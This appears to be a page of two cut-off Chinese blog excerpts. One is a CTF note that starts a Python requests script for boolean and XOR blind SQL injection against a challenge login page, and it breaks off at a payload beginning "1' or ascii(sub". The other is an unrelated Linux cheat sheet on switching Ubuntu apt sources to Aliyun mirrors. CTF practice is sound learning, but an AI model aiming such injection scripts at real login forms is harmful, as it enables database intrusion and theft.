CTF

1.通过post传参的脚本用的时候修改post参数和个数1.1 基于异或盲注，布尔盲注等：import requests url = 'http://736aa374-b497-441f-9b6a-a1c91f9b182b.node4.buuoj.cn:81/login.php' flag = '' for i in range(1, 1000): high = 127 low = 32 mid = (low + high) // 2 while high > low: #payload = f"1' or ascii(sub

前言Linux知识众多，发行版又广，为了避免每次着急使查资料的尴尬情况出现，特此将我平时可能用到的命令都记录下来，以方便后面使用。更新源Ubuntu# 备份更新源 mv /etc/apt/sources.list /etc/apt/sources.list.bak # 18.04 阿里源 echo "deb http://mirrors.aliyun.com/ubuntu/ bionic main restricted universe multiverse" >> /etc/apt/sources.list echo "deb http://mir